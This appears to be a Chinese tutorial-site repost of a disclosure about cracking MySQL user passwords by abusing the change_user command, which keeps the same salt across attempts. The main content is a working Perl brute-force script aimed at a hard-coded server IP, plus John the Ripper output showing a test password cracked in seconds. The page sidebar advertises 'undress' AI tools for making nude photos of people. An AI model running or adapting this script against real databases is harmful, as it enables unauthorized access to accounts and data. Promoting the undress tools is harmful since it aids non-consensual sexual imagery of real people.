Home Database Mysql Tutorial 破解MySQL本地和远程密码

破解MySQL本地和远程密码

Jun 07, 2016 pm 03:13 PM
linux mysql password local crack Enter Remotely

欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入 快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。 我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户

欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入

  快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

  我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

  方法如下:

  攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

  是什么导致非常慢?

  因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

  下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

  测试的用户是 crackme 密码为 pass,只需数秒就可破解。

  (大约 20 秒钟可测试 10 万密码)

  测试脚本如下:

  use Net::MySQL;

  $|=1;

  my $mysql = Net::MySQL->new(

  hostname => '192.168.2.3',

  database => 'test',

  user     => "user",

  password => "secret",

  debug => 0,

  );

  $crackuser = "crackme";

  while() {

  chomp;

  $currentpass = $_;

  $vv = join "\0",

  $crackuser,

  "\x14".

  Net::MySQL::Password->scramble(

  $currentpass, $mysql->{salt}, $mysql->{client_capabilities}

  ) . "\0";

  if ($mysql->_execute_command("\x11", $vv) ne undef) {

  print "[*] Cracked! --> $currentpass\n";

  exit;

  }

  }

  下面是我这台机器上的执行结果:

  C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo

  hn --incremental --stdout=5 | perl mysqlcrack.pl

  Warning: MaxLen = 8 is too large for the current hash type, reduced to 5

  words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH

  words: 24573  time: 0:00:00:04  w/s: 4916  current: rap

  words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3

  words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429

  words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141

  words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n

  words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2

  [*] Cracked! --> pass

  words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs

  Session aborted

  via grok

破解MySQL本地和远程密码

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

MySQL's Role: Databases in Web Applications MySQL's Role: Databases in Web Applications Apr 17, 2025 am 12:23 AM

The main role of MySQL in web applications is to store and manage data. 1.MySQL efficiently processes user information, product catalogs, transaction records and other data. 2. Through SQL query, developers can extract information from the database to generate dynamic content. 3.MySQL works based on the client-server model to ensure acceptable query speed.

Laravel Introduction Example Laravel Introduction Example Apr 18, 2025 pm 12:45 PM

Laravel is a PHP framework for easy building of web applications. It provides a range of powerful features including: Installation: Install the Laravel CLI globally with Composer and create applications in the project directory. Routing: Define the relationship between the URL and the handler in routes/web.php. View: Create a view in resources/views to render the application's interface. Database Integration: Provides out-of-the-box integration with databases such as MySQL and uses migration to create and modify tables. Model and Controller: The model represents the database entity and the controller processes HTTP requests.

How to run java code in notepad How to run java code in notepad Apr 16, 2025 pm 07:39 PM

Although Notepad cannot run Java code directly, it can be achieved by using other tools: using the command line compiler (javac) to generate a bytecode file (filename.class). Use the Java interpreter (java) to interpret bytecode, execute the code, and output the result.

Solve database connection problem: a practical case of using minii/db library Solve database connection problem: a practical case of using minii/db library Apr 18, 2025 am 07:09 AM

I encountered a tricky problem when developing a small application: the need to quickly integrate a lightweight database operation library. After trying multiple libraries, I found that they either have too much functionality or are not very compatible. Eventually, I found minii/db, a simplified version based on Yii2 that solved my problem perfectly.

Linux Architecture: Unveiling the 5 Basic Components Linux Architecture: Unveiling the 5 Basic Components Apr 20, 2025 am 12:04 AM

The five basic components of the Linux system are: 1. Kernel, 2. System library, 3. System utilities, 4. Graphical user interface, 5. Applications. The kernel manages hardware resources, the system library provides precompiled functions, system utilities are used for system management, the GUI provides visual interaction, and applications use these components to implement functions.

How to check the warehouse address of git How to check the warehouse address of git Apr 17, 2025 pm 01:54 PM

To view the Git repository address, perform the following steps: 1. Open the command line and navigate to the repository directory; 2. Run the "git remote -v" command; 3. View the repository name in the output and its corresponding address.

Laravel framework installation method Laravel framework installation method Apr 18, 2025 pm 12:54 PM

Article summary: This article provides detailed step-by-step instructions to guide readers on how to easily install the Laravel framework. Laravel is a powerful PHP framework that speeds up the development process of web applications. This tutorial covers the installation process from system requirements to configuring databases and setting up routing. By following these steps, readers can quickly and efficiently lay a solid foundation for their Laravel project.

MySQL vs. Other Programming Languages: A Comparison MySQL vs. Other Programming Languages: A Comparison Apr 19, 2025 am 12:22 AM

Compared with other programming languages, MySQL is mainly used to store and manage data, while other languages ​​such as Python, Java, and C are used for logical processing and application development. MySQL is known for its high performance, scalability and cross-platform support, suitable for data management needs, while other languages ​​have advantages in their respective fields such as data analytics, enterprise applications, and system programming.

See all articles